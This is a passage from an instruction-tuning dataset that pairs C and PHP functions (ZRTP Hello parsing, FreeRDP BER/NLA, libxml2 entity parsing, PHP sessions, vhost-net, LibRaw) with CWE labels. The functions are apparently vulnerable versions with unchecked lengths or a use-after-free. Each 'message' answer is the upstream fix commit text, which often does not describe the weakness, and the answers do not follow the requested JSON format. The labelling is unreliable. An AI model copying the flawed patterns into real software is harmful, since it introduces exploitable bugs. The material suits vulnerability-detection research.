(CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ZrtpPacketHello::ZrtpPacketHello(uint8_t *data) {\n DEBUGOUT((fprintf(stdout, \"Creating Hello packet from data\\n\")));\n\n zrtpHeader = (zrtpPacketHeader_t *)&((HelloPacket_t *)data)->hdr;\t// the standard header\n helloHeader = (Hello_t *)&((HelloPacket_t *)data)->hello;\n\n uint32_t t = *((uint32_t*)&helloHeader->flags);\n uint32_t temp = zrtpNtohl(t);\n\n nHash = (temp & (0xf << 16)) >> 16;\n nCipher = (temp & (0xf << 12)) >> 12;\n nAuth = (temp & (0xf << 8)) >> 8;\n nPubkey = (temp & (0xf << 4)) >> 4;\n nSas = temp & 0xf;\n\n // +2 : the MAC at the end of the packet\n computedLength = nHash + nCipher + nAuth + nPubkey + nSas + sizeof(HelloPacket_t)/ZRTP_WORD_SIZE + 2;\n\n oHash = sizeof(Hello_t);\n oCipher = oHash + (nHash * ZRTP_WORD_SIZE);\n oAuth = oCipher + (nCipher * ZRTP_WORD_SIZE);\n oPubkey = oAuth + (nAuth * ZRTP_WORD_SIZE);\n oSas = oPubkey + (nPubkey * ZRTP_WORD_SIZE);\n oHmac = oSas + (nSas * ZRTP_WORD_SIZE); // offset to HMAC\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix vulnerabilities found and reported by Mark Dowd\n\n- limit length of memcpy\n- limit number of offered algorithms in Hello packet\n- length check in PING packet\n- fix a small coding error'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Status AuthorizationManager::acquirePrivilegesFromPrivilegeDocument(\n const std::string& dbname, const PrincipalName& principal, const BSONObj& privilegeDocument) {\n if (!_authenticatedPrincipals.lookup(principal)) {\n return Status(ErrorCodes::UserNotFound,\n mongoutils::str::stream()\n << \"No authenticated principle found with name: \"\n << principal.getUser()\n << \" from database \"\n << principal.getDB(),\n 0);\n }\n if (principal.getUser() == internalSecurity.user) {\n // Grant full access to internal user\n ActionSet allActions;\n allActions.addAllActions();\n return acquirePrivilege(Privilege(PrivilegeSet::WILDCARD_RESOURCE, allActions),\n principal);\n }\n return buildPrivilegeSet(dbname, principal, privilegeDocument, &_acquiredPrivileges);\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'SERVER-9983 Do not needlessly lock when looking up privileges for the __system@local user.\n\nUncorrected, this can cause replica set heartbeats to stall behind operations\nthat hold the read lock for a long time.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int _ber_skip_length(int length)\n{\n\tif (length > 0x80)\n\t\treturn 3;\n\telse\n\t\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fixed a range of BER boundary encoding bugs which would occur when any NLA packet hit the 127 character mark. Removed ber#get_content_length as it was not behaving deterministically.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: BOOL ber_read_application_tag(wStream* s, BYTE tag, int* length)\n{\n\tBYTE byte;\n\n\tif (tag > 30)\n\t{\n\t\tif(Stream_GetRemainingLength(s) < 1)\n\t\t\treturn FALSE;\n\t\tStream_Read_UINT8(s, byte);\n\n\t\tif (byte != ((BER_CLASS_APPL | BER_CONSTRUCT) | BER_TAG_MASK))\n\t\t\treturn FALSE;\n\n\t\tif(Stream_GetRemainingLength(s) < 1)\n\t\t\treturn FALSE;\n\t\tStream_Read_UINT8(s, byte);\n\n\t\tif (byte != tag)\n\t\t\treturn FALSE;\n\n\t\treturn ber_read_length(s, length);\n\t}\n\telse\n\t{\n\t\tif(Stream_GetRemainingLength(s) < 1)\n\t\t\treturn FALSE;\n\t\tStream_Read_UINT8(s, byte);\n\n\t\tif (byte != ((BER_CLASS_APPL | BER_CONSTRUCT) | (BER_TAG_MASK & tag)))\n\t\t\treturn FALSE;\n\n\t\treturn ber_read_length(s, length);\n\t}\n\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fixed a range of BER boundary encoding bugs which would occur when any NLA packet hit the 127 character mark. Removed ber#get_content_length as it was not behaving deterministically.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int credssp_skip_pub_key_auth(int length)\n{\n\tlength = ber_skip_octet_string(length);\n\tlength += ber_skip_contextual_tag(length);\n\treturn length;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fixed a range of BER boundary encoding bugs which would occur when any NLA packet hit the 127 character mark. Removed ber#get_content_length as it was not behaving deterministically.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ber_write_universal_tag(wStream* s, BYTE tag, BOOL pc)\n{\n\tStream_Write_UINT8(s, (BER_CLASS_UNIV | BER_PC(pc)) | (BER_TAG_MASK & tag));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fixed a range of BER boundary encoding bugs which would occur when any NLA packet hit the 127 character mark. Removed ber#get_content_length as it was not behaving deterministically.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: BOOL transport_connect_nla(rdpTransport* transport)\n{\n\tfreerdp* instance;\n\trdpSettings* settings;\n\n\tif (transport->layer == TRANSPORT_LAYER_TSG)\n\t\treturn TRUE;\n\n\tif (!transport_connect_tls(transport))\n\t\treturn FALSE;\n\n\t/* Network Level Authentication */\n\n\tif (transport->settings->Authentication != TRUE)\n\t\treturn TRUE;\n\n\tsettings = transport->settings;\n\tinstance = (freerdp*) settings->instance;\n\n\tif (transport->credssp == NULL)\n\t\ttransport->credssp = credssp_new(instance, transport, settings);\n\n\tif (credssp_authenticate(transport->credssp) < 0)\n\t{\n\t\tif (!connectErrorCode)\n\t\t\tconnectErrorCode = AUTHENTICATIONERROR;\n\n\t\tfprintf(stderr, \"Authentication failure, check credentials.\\n\"\n\t\t\t\"If credentials are valid, the NTLMSSP implementation may be to blame.\\n\");\n\n\t\tcredssp_free(transport->credssp);\n\t\treturn FALSE;\n\t}\n\n\tcredssp_free(transport->credssp);\n\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-125'], 'message': 'nla: invalidate sec handle after creation\n\nIf sec pointer isn't invalidated after creation it is not possible\nto check if the upper and lower pointers are valid.\n\nThis fixes a segfault in the server part if the client disconnects before\nthe authentication was finished.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xmlParseEntityRef(xmlParserCtxtPtr ctxt) {\n const xmlChar *name;\n xmlEntityPtr ent = NULL;\n\n GROW;\n if (ctxt->instate == XML_PARSER_EOF)\n return(NULL);\n\n if (RAW != '&')\n return(NULL);\n NEXT;\n name = xmlParseName(ctxt);\n if (name == NULL) {\n\txmlFatalErrMsg(ctxt, XML_ERR_NAME_REQUIRED,\n\t\t \"xmlParseEntityRef: no name\\n\");\n return(NULL);\n }\n if (RAW != ';') {\n\txmlFatalErr(ctxt, XML_ERR_ENTITYREF_SEMICOL_MISSING, NULL);\n\treturn(NULL);\n }\n NEXT;\n\n /*\n * Predefined entities override any extra definition\n */\n if ((ctxt->options & XML_PARSE_OLDSAX) == 0) {\n ent = xmlGetPredefinedEntity(name);\n if (ent != NULL)\n return(ent);\n }\n\n /*\n * Increase the number of entity references parsed\n */\n ctxt->nbentities++;\n\n /*\n * Ask first SAX for entity resolution, otherwise try the\n * entities which may have stored in the parser context.\n */\n if (ctxt->sax != NULL) {\n\tif (ctxt->sax->getEntity != NULL)\n\t ent = ctxt->sax->getEntity(ctxt->userData, name);\n\tif ((ctxt->wellFormed == 1 ) && (ent == NULL) &&\n\t (ctxt->options & XML_PARSE_OLDSAX))\n\t ent = xmlGetPredefinedEntity(name);\n\tif ((ctxt->wellFormed == 1 ) && (ent == NULL) &&\n\t (ctxt->userData==ctxt)) {\n\t ent = xmlSAX2GetEntity(ctxt, name);\n\t}\n }\n /*\n * [ WFC: Entity Declared ]\n * In a document without any DTD, a document with only an\n * internal DTD subset which contains no parameter entity\n * references, or a document with \"standalone='yes'\", the\n * Name given in the entity reference must match that in an\n * entity declaration, except that well-formed documents\n * need not declare any of the following entities: amp, lt,\n * gt, apos, quot.\n * The declaration of a parameter entity must precede any\n * reference to it.\n * Similarly, the declaration of a general entity must\n * precede any reference to it which appears in a default\n * value in an attribute-list declaration. Note that if\n * entities are declared in the external subset or in\n * external parameter entities, a non-validating processor\n * is not obligated to read and process their declarations;\n * for such documents, the rule that an entity must be\n * declared is a well-formedness constraint only if\n * standalone='yes'.\n */\n if (ent == NULL) {\n\tif ((ctxt->standalone == 1) ||\n\t ((ctxt->hasExternalSubset == 0) &&\n\t (ctxt->hasPErefs == 0))) {\n\t xmlFatalErrMsgStr(ctxt, XML_ERR_UNDECLARED_ENTITY,\n\t\t \"Entity '%s' not defined\\n\", name);\n\t} else {\n\t xmlErrMsgStr(ctxt, XML_WAR_UNDECLARED_ENTITY,\n\t\t \"Entity '%s' not defined\\n\", name);\n\t if ((ctxt->inSubset == 0) &&\n\t\t(ctxt->sax != NULL) &&\n\t\t(ctxt->sax->reference != NULL)) {\n\t\tctxt->sax->reference(ctxt->userData, name);\n\t }\n\t}\n\tctxt->valid = 0;\n }\n\n /*\n * [ WFC: Parsed Entity ]\n * An entity reference must not contain the name of an\n * unparsed entity\n */\n else if (ent->etype == XML_EXTERNAL_GENERAL_UNPARSED_ENTITY) {\n\txmlFatalErrMsgStr(ctxt, XML_ERR_UNPARSED_ENTITY,\n\t\t \"Entity reference to unparsed entity %s\\n\", name);\n }\n\n /*\n * [ WFC: No External Entity References ]\n * Attribute values cannot contain direct or indirect\n * entity references to external entities.\n */\n else if ((ctxt->instate == XML_PARSER_ATTRIBUTE_VALUE) &&\n\t (ent->etype == XML_EXTERNAL_GENERAL_PARSED_ENTITY)) {\n\txmlFatalErrMsgStr(ctxt, XML_ERR_ENTITY_IS_EXTERNAL,\n\t \"Attribute references external entity '%s'\\n\", name);\n }\n /*\n * [ WFC: No < in Attribute Values ]\n * The replacement text of any entity referred to directly or\n * indirectly in an attribute value (other than \"<\") must\n * not contain a <.\n */\n else if ((ctxt->instate == XML_PARSER_ATTRIBUTE_VALUE) &&\n\t (ent != NULL) && \n\t (ent->etype != XML_INTERNAL_PREDEFINED_ENTITY)) {\n\tif ((ent->checked & 1) || ((ent->checked == 0) &&\n\t (ent->content != NULL) &&(xmlStrchr(ent->content, '<')))) {\n\t xmlFatalErrMsgStr(ctxt, XML_ERR_LT_IN_ATTRIBUTE,\n\t\"'<' in entity '%s' is not allowed in attributes values\\n\", name);\n }\n }\n\n /*\n * Internal check, no parameter entities here ...\n */\n else {\n\tswitch (ent->etype) {\n\t case XML_INTERNAL_PARAMETER_ENTITY:\n\t case XML_EXTERNAL_PARAMETER_ENTITY:\n\t xmlFatalErrMsgStr(ctxt, XML_ERR_ENTITY_IS_PARAMETER,\n\t \"Attempt to reference the parameter entity '%s'\\n\",\n\t\t\t name);\n\t break;\n\t default:\n\t break;\n\t}\n }\n\n /*\n * [ WFC: No Recursion ]\n * A parsed entity must not contain a recursive reference\n * to itself, either directly or indirectly.\n * Done somewhere else\n */\n return(ent);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Improve handling of xmlStopParser()\n\nAdd a specific parser error\nTry to stop parsing as quickly as possible'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)\n{\n\txml_parser *parser = (xml_parser *)userData;\n\n\tif (parser) {\n\t\tzval *retval, *args[2];\n\n\t\tif (parser->characterDataHandler) {\n\t\t\targs[0] = _xml_resource_zval(parser->index);\n\t\t\targs[1] = _xml_xmlchar_zval(s, len, parser->target_encoding);\n\t\t\tif ((retval = xml_call_handler(parser, parser->characterDataHandler, parser->characterDataPtr, 2, args))) {\n\t\t\t\tzval_ptr_dtor(&retval);\n\t\t\t}\n\t\t} \n\n\t\tif (parser->data) {\n\t\t\tint i;\n\t\t\tint doprint = 0;\n\n\t\t\tchar *decoded_value;\n\t\t\tint decoded_len;\n\t\t\t\n\t\t\tdecoded_value = xml_utf8_decode(s,len,&decoded_len,parser->target_encoding);\n\t\t\tfor (i = 0; i < decoded_len; i++) {\n\t\t\t\tswitch (decoded_value[i]) {\n\t\t\t\tcase ' ':\n\t\t\t\tcase '\\t':\n\t\t\t\tcase '\\n':\n\t\t\t\t\tcontinue;\n\t\t\t\tdefault:\n\t\t\t\t\tdoprint = 1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (doprint) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (doprint || (! parser->skipwhite)) {\n\t\t\t\tif (parser->lastwasopen) {\n\t\t\t\t\tzval **myval;\n\t\t\t\t\t\n\t\t\t\t\t/* check if the current tag already has a value - if yes append to that! */\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(parser->ctag),\"value\",sizeof(\"value\"),(void **) &myval) == SUCCESS) {\n\t\t\t\t\t\tint newlen = Z_STRLEN_PP(myval) + decoded_len;\n\t\t\t\t\t\tZ_STRVAL_PP(myval) = erealloc(Z_STRVAL_PP(myval),newlen+1);\n\t\t\t\t\t\tstrncpy(Z_STRVAL_PP(myval) + Z_STRLEN_PP(myval), decoded_value, decoded_len + 1);\n\t\t\t\t\t\tZ_STRLEN_PP(myval) += decoded_len;\n\t\t\t\t\t\tefree(decoded_value);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tadd_assoc_string(*(parser->ctag),\"value\",decoded_value,0);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\tzval *tag;\n\t\t\t\t\tzval **curtag, **mytype, **myval;\n\t\t\t\t\tHashPosition hpos=NULL;\n\n\t\t\t\t\tzend_hash_internal_pointer_end_ex(Z_ARRVAL_P(parser->data), &hpos);\n\n\t\t\t\t\tif (hpos && (zend_hash_get_current_data_ex(Z_ARRVAL_P(parser->data), (void **) &curtag, &hpos) == SUCCESS)) {\n\t\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(curtag),\"type\",sizeof(\"type\"),(void **) &mytype) == SUCCESS) {\n\t\t\t\t\t\t\tif (!strcmp(Z_STRVAL_PP(mytype), \"cdata\")) {\n\t\t\t\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(curtag),\"value\",sizeof(\"value\"),(void **) &myval) == SUCCESS) {\n\t\t\t\t\t\t\t\t\tint newlen = Z_STRLEN_PP(myval) + decoded_len;\n\t\t\t\t\t\t\t\t\tZ_STRVAL_PP(myval) = erealloc(Z_STRVAL_PP(myval),newlen+1);\n\t\t\t\t\t\t\t\t\tstrncpy(Z_STRVAL_PP(myval) + Z_STRLEN_PP(myval), decoded_value, decoded_len + 1);\n\t\t\t\t\t\t\t\t\tZ_STRLEN_PP(myval) += decoded_len;\n\t\t\t\t\t\t\t\t\tefree(decoded_value);\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tMAKE_STD_ZVAL(tag);\n\t\t\t\t\t\n\t\t\t\t\tarray_init(tag);\n\t\t\t\t\t\n\t\t\t\t\t_xml_add_to_info(parser,parser->ltags[parser->level-1] + parser->toffset);\n\n\t\t\t\t\tadd_assoc_string(tag,\"tag\",parser->ltags[parser->level-1] + parser->toffset,1);\n\t\t\t\t\tadd_assoc_string(tag,\"value\",decoded_value,0);\n\t\t\t\t\tadd_assoc_string(tag,\"type\",\"cdata\",1);\n\t\t\t\t\tadd_assoc_long(tag,\"level\",parser->level);\n\n\t\t\t\t\tzend_hash_next_index_insert(Z_ARRVAL_P(parser->data),&tag,sizeof(zval*),NULL);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tefree(decoded_value);\n\t\t\t}\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'truncate results at depth of 255 to prevent corruption'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void vhost_net_ubuf_put_and_wait(struct vhost_net_ubuf_ref *ubufs)\n{\n\tkref_put(&ubufs->kref, vhost_net_zerocopy_done_signal);\n\twait_event(ubufs->wait, !atomic_read(&ubufs->kref.refcount));\n\tkfree(ubufs);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'vhost-net: fix use-after-free in vhost_net_flush\n\nvhost_net_ubuf_put_and_wait has a confusing name:\nit will actually also free it's argument.\nThus since commit 1280c27f8e29acf4af2da914e80ec27c3dbd5c01\n \"vhost-net: flush outstanding DMAs on memory change\"\nvhost_net_flush tries to use the argument after passing it\nto vhost_net_ubuf_put_and_wait, this results\nin use after free.\nTo fix, don't free the argument in vhost_net_ubuf_put_and_wait,\nadd an new API for callers that want to free ubufs.\n\nAcked-by: Asias He \nAcked-by: Jason Wang \nSigned-off-by: Michael S. Tsirkin \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \tTEST_METHOD(5) {\n\t\t// The destructor doesnn't remove the server instance directory if it\n\t\t// wasn't created with the ownership flag or if it's been detached.\n\t\tstring path, path2;\n\t\t{\n\t\t\tServerInstanceDir dir(parentDir + \"/passenger-test.1234\", false);\n\t\t\tServerInstanceDir dir2(parentDir + \"/passenger-test.5678\", false);\n\t\t\tdir2.detach();\n\t\t\tpath = dir.getPath();\n\t\t\tpath2 = dir2.getPath();\n\t\t}\n\t\tensure_equals(getFileType(path), FT_DIRECTORY);\n\t\tensure_equals(getFileType(path2), FT_DIRECTORY);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'If the server instance directory already exists, it is now removed first in order get correct directory permissions.\nIf the directory still exists after removal, Phusion Passenger aborts to avoid writing to a directory with unexpected permissions.\nFixes issue #910.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHPAPI void php_session_start(TSRMLS_D) /* {{{ */\n{\n\tzval **ppid;\n\tzval **data;\n\tchar *p, *value;\n\tint nrand;\n\tint lensess;\n\n\tif (PS(use_only_cookies)) {\n\t\tPS(apply_trans_sid) = 0;\n\t} else {\n\t\tPS(apply_trans_sid) = PS(use_trans_sid);\n\t}\n\n\tswitch (PS(session_status)) {\n\t\tcase php_session_active:\n\t\t\tphp_error(E_NOTICE, \"A session had already been started - ignoring session_start()\");\n\t\t\treturn;\n\t\t\tbreak;\n\n\t\tcase php_session_disabled:\n\t\t\tvalue = zend_ini_string(\"session.save_handler\", sizeof(\"session.save_handler\"), 0);\n\t\t\tif (!PS(mod) && value) {\n\t\t\t\tPS(mod) = _php_find_ps_module(value TSRMLS_CC);\n\t\t\t\tif (!PS(mod)) {\n\t\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Cannot find save handler '%s' - session startup failed\", value);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tvalue = zend_ini_string(\"session.serialize_handler\", sizeof(\"session.serialize_handler\"), 0);\n\t\t\tif (!PS(serializer) && value) {\n\t\t\t\tPS(serializer) = _php_find_ps_serializer(value TSRMLS_CC);\n\t\t\t\tif (!PS(serializer)) {\n\t\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Cannot find serialization handler '%s' - session startup failed\", value);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tPS(session_status) = php_session_none;\n\t\t\t/* fallthrough */\n\n\t\tdefault:\n\t\tcase php_session_none:\n\t\t\tPS(define_sid) = 1;\n\t\t\tPS(send_cookie) = 1;\n\t}\n\n\tlensess = strlen(PS(session_name));\n\n\t/* Cookies are preferred, because initially\n\t * cookie and get variables will be available. */\n\n\tif (!PS(id)) {\n\t\tif (PS(use_cookies) && zend_hash_find(&EG(symbol_table), \"_COOKIE\", sizeof(\"_COOKIE\"), (void **) &data) == SUCCESS &&\n\t\t\t\tZ_TYPE_PP(data) == IS_ARRAY &&\n\t\t\t\tzend_hash_find(Z_ARRVAL_PP(data), PS(session_name), lensess + 1, (void **) &ppid) == SUCCESS\n\t\t) {\n\t\t\tPPID2SID;\n\t\t\tPS(apply_trans_sid) = 0;\n\t\t\tPS(send_cookie) = 0;\n\t\t\tPS(define_sid) = 0;\n\t\t}\n\n\t\tif (!PS(use_only_cookies) && !PS(id) &&\n\t\t\t\tzend_hash_find(&EG(symbol_table), \"_GET\", sizeof(\"_GET\"), (void **) &data) == SUCCESS &&\n\t\t\t\tZ_TYPE_PP(data) == IS_ARRAY &&\n\t\t\t\tzend_hash_find(Z_ARRVAL_PP(data), PS(session_name), lensess + 1, (void **) &ppid) == SUCCESS\n\t\t) {\n\t\t\tPPID2SID;\n\t\t\tPS(send_cookie) = 0;\n\t\t}\n\n\t\tif (!PS(use_only_cookies) && !PS(id) &&\n\t\t\t\tzend_hash_find(&EG(symbol_table), \"_POST\", sizeof(\"_POST\"), (void **) &data) == SUCCESS &&\n\t\t\t\tZ_TYPE_PP(data) == IS_ARRAY &&\n\t\t\t\tzend_hash_find(Z_ARRVAL_PP(data), PS(session_name), lensess + 1, (void **) &ppid) == SUCCESS\n\t\t) {\n\t\t\tPPID2SID;\n\t\t\tPS(send_cookie) = 0;\n\t\t}\n\t}\n\n\t/* Check the REQUEST_URI symbol for a string of the form\n\t * '=' to allow URLs of the form\n\t * http://yoursite/=/script.php */\n\n\tif (!PS(use_only_cookies) && !PS(id) && PG(http_globals)[TRACK_VARS_SERVER] &&\n\t\t\tzend_hash_find(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_SERVER]), \"REQUEST_URI\", sizeof(\"REQUEST_URI\"), (void **) &data) == SUCCESS &&\n\t\t\tZ_TYPE_PP(data) == IS_STRING &&\n\t\t\t(p = strstr(Z_STRVAL_PP(data), PS(session_name))) &&\n\t\t\tp[lensess] == '='\n\t) {\n\t\tchar *q;\n\n\t\tp += lensess + 1;\n\t\tif ((q = strpbrk(p, \"/?\\\\\"))) {\n\t\t\tPS(id) = estrndup(p, q - p);\n\t\t\tPS(send_cookie) = 0;\n\t\t}\n\t}\n\n\t/* Check whether the current request was referred to by\n\t * an external site which invalidates the previously found id. */\n\n\tif (PS(id) &&\n\t\t\tPS(extern_referer_chk)[0] != '\\0' &&\n\t\t\tPG(http_globals)[TRACK_VARS_SERVER] &&\n\t\t\tzend_hash_find(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_SERVER]), \"HTTP_REFERER\", sizeof(\"HTTP_REFERER\"), (void **) &data) == SUCCESS &&\n\t\t\tZ_TYPE_PP(data) == IS_STRING &&\n\t\t\tZ_STRLEN_PP(data) != 0 &&\n\t\t\tstrstr(Z_STRVAL_PP(data), PS(extern_referer_chk)) == NULL\n\t) {\n\t\tefree(PS(id));\n\t\tPS(id) = NULL;\n\t\tPS(send_cookie) = 1;\n\t\tif (PS(use_trans_sid) && !PS(use_only_cookies)) {\n\t\t\tPS(apply_trans_sid) = 1;\n\t\t}\n\t}\n\n\tphp_session_initialize(TSRMLS_C);\n\n\tif (!PS(use_cookies) && PS(send_cookie)) {\n\t\tif (PS(use_trans_sid) && !PS(use_only_cookies)) {\n\t\t\tPS(apply_trans_sid) = 1;\n\t\t}\n\t\tPS(send_cookie) = 0;\n\t}\n\n\tphp_session_reset_id(TSRMLS_C);\n\n\tPS(session_status) = php_session_active;\n\n\tphp_session_cache_limiter(TSRMLS_C);\n\n\tif ((PS(mod_data) || PS(mod_user_implemented)) && PS(gc_probability) > 0) {\n\t\tint nrdels = -1;\n\n\t\tnrand = (int) ((float) PS(gc_divisor) * php_combined_lcg(TSRMLS_C));\n\t\tif (nrand < PS(gc_probability)) {\n\t\t\tPS(mod)->s_gc(&PS(mod_data), PS(gc_maxlifetime), &nrdels TSRMLS_CC);\n#ifdef SESSION_DEBUG\n\t\t\tif (nrdels != -1) {\n\t\t\t\tphp_error_docref(NULL TSRMLS_CC, E_NOTICE, \"purged %d expired session objects\", nrdels);\n\t\t\t}\n#endif\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'Strict session'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static PHP_FUNCTION(session_id)\n{\n\tchar *name = NULL;\n\tint name_len, argc = ZEND_NUM_ARGS();\n\n\tif (zend_parse_parameters(argc TSRMLS_CC, \"|s\", &name, &name_len) == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (PS(id)) {\n\t\tRETVAL_STRING(PS(id), 1);\n\t} else {\n\t\tRETVAL_EMPTY_STRING();\n\t}\n\n\tif (name) {\n\t\tif (PS(use_strict_mode) && argc) {\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Set session ID while session.use_strict_mode is enabled\");\n\t\t}\n\t\tif (PS(id)) {\n\t\t\tefree(PS(id));\n\t\t}\n\t\tPS(id) = estrndup(name, name_len);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'fix crash, enable session_id and fix test'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void CLASS bad_pixels (const char *cfname)\n{\n FILE *fp=NULL;\n#ifndef LIBRAW_LIBRARY_BUILD\n char *fname, *cp, line[128];\n int len, time, row, col, r, c, rad, tot, n, fixed=0;\n#else\n char *cp, line[128];\n int time, row, col, r, c, rad, tot, n;\n#ifdef DCRAW_VERBOSE\n int fixed = 0;\n#endif\n#endif\n\n if (!filters) return;\n#ifdef LIBRAW_LIBRARY_BUILD\n RUN_CALLBACK(LIBRAW_PROGRESS_BAD_PIXELS,0,2);\n#endif\n if (cfname)\n fp = fopen (cfname, \"r\");\n#line 4009 \"dcraw/dcraw.c\"\n if (!fp)\n {\n#ifdef LIBRAW_LIBRARY_BUILD\n imgdata.process_warnings |= LIBRAW_WARN_NO_BADPIXELMAP;\n#endif\n return;\n }\n while (fgets (line, 128, fp)) {\n cp = strchr (line, '#');\n if (cp) *cp = 0;\n if (sscanf (line, \"%d %d %d\", &col, &row, &time) != 3) continue;\n if ((unsigned) col >= width || (unsigned) row >= height) continue;\n if (time > timestamp) continue;\n for (tot=n=0, rad=1; rad < 3 && n==0; rad++)\n for (r = row-rad; r <= row+rad; r++)\n\tfor (c = col-rad; c <= col+rad; c++)\n\t if ((unsigned) r < height && (unsigned) c < width &&\n\t\t(r != row || c != col) && fcol(r,c) == fcol(row,col)) {\n\t tot += BAYER2(r,c);\n\t n++;\n\t }\n BAYER2(row,col) = tot/n;\n#ifdef DCRAW_VERBOSE\n if (verbose) {\n if (!fixed++)\n\tfprintf (stderr,_(\"Fixed dead pixels at:\"));\n fprintf (stderr, \" %d,%d\", col, row);\n }\n#endif\n }\n#ifdef DCRAW_VERBOSE\n if (fixed) fputc ('\\n', stderr);\n#endif\n fclose (fp);\n#ifdef LIBRAW_LIBRARY_BUILD\n RUN_CALLBACK(LIBRAW_PROGRESS_BAD_PIXELS,1,2);\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'cumulated data checks patch'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration 